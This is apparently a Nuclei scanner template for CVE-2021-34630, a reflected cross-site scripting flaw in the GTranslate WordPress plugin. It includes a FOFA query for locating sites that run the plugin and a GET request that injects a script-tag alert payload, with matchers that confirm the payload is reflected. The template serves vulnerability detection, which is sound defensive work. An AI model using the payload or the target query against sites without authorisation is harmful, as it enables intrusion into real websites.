In the Pro and Enterprise versions of GTranslate < 2.8.65, the gtranslate_request_uri_var function runs at the top of all pages and echoes out the contents of $_SERVER['REQUEST_URI']. Although this uses addslashes, and most modern browsers automatically URLencode requests, this plugin is still vulnerable to Reflected XSS in older browsers such as Internet Explorer 9 or below, or in cases where an attacker is able to modify the request en route between the client and the server, or in cases where the user is using an atypical browsing solution.
PoC代码[已公开]
id: CVE-2021-34630
info:
name: GTranslate < 2.8.65 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
In the Pro and Enterprise versions of GTranslate < 2.8.65, the gtranslate_request_uri_var function runs at the top of all pages and echoes out the contents of $_SERVER['REQUEST_URI']. Although this uses addslashes, and most modern browsers automatically URLencode requests, this plugin is still vulnerable to Reflected XSS in older browsers such as Internet Explorer 9 or below, or in cases where an attacker is able to modify the request en route between the client and the server, or in cases where the user is using an atypical browsing solution.
impact: |
Allows attackers to execute malicious scripts in the context of a user's browser session
remediation: |
Update GTranslate Plugin to the latest version to mitigate this issue.
reference:
- https://wpscan.com/vulnerability/dfac81bb-7807-4288-aee3-43c7653c6446/
- https://nvd.nist.gov/vuln/detail/CVE-2021-34630
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-34630
cwe-id: CWE-79
epss-score: 0.00852
epss-percentile: 0.7413
cpe: cpe:2.3:a:gtranslate:gtranslate:*:*:*:*:enterprise:wordpress:*:*
metadata:
verifiedl: true
max-request: 1
vendor: gtranslate
product: gtranslate
framework: wordpress
fofa-query: body="/wp-content/plugins/gtranslate"
tags: cve,cve2022,wordpress,wp,wp-plugin,gtranslate,xss
http:
- method: GET
path:
- "{{BaseURL}}/?page</script><script>alert(document.domain)</script>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- 'gtranslate'
condition: and
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100a5adac6ba85b4b358086ecbfc8307de7501e17f0fea13865d89b7f523a4097ef022100e75e9c5def2a7510aeceb4809922af50ee575cc7396171cffc60c533108fa9b7:922c64590222798bb761d5b6d8e72950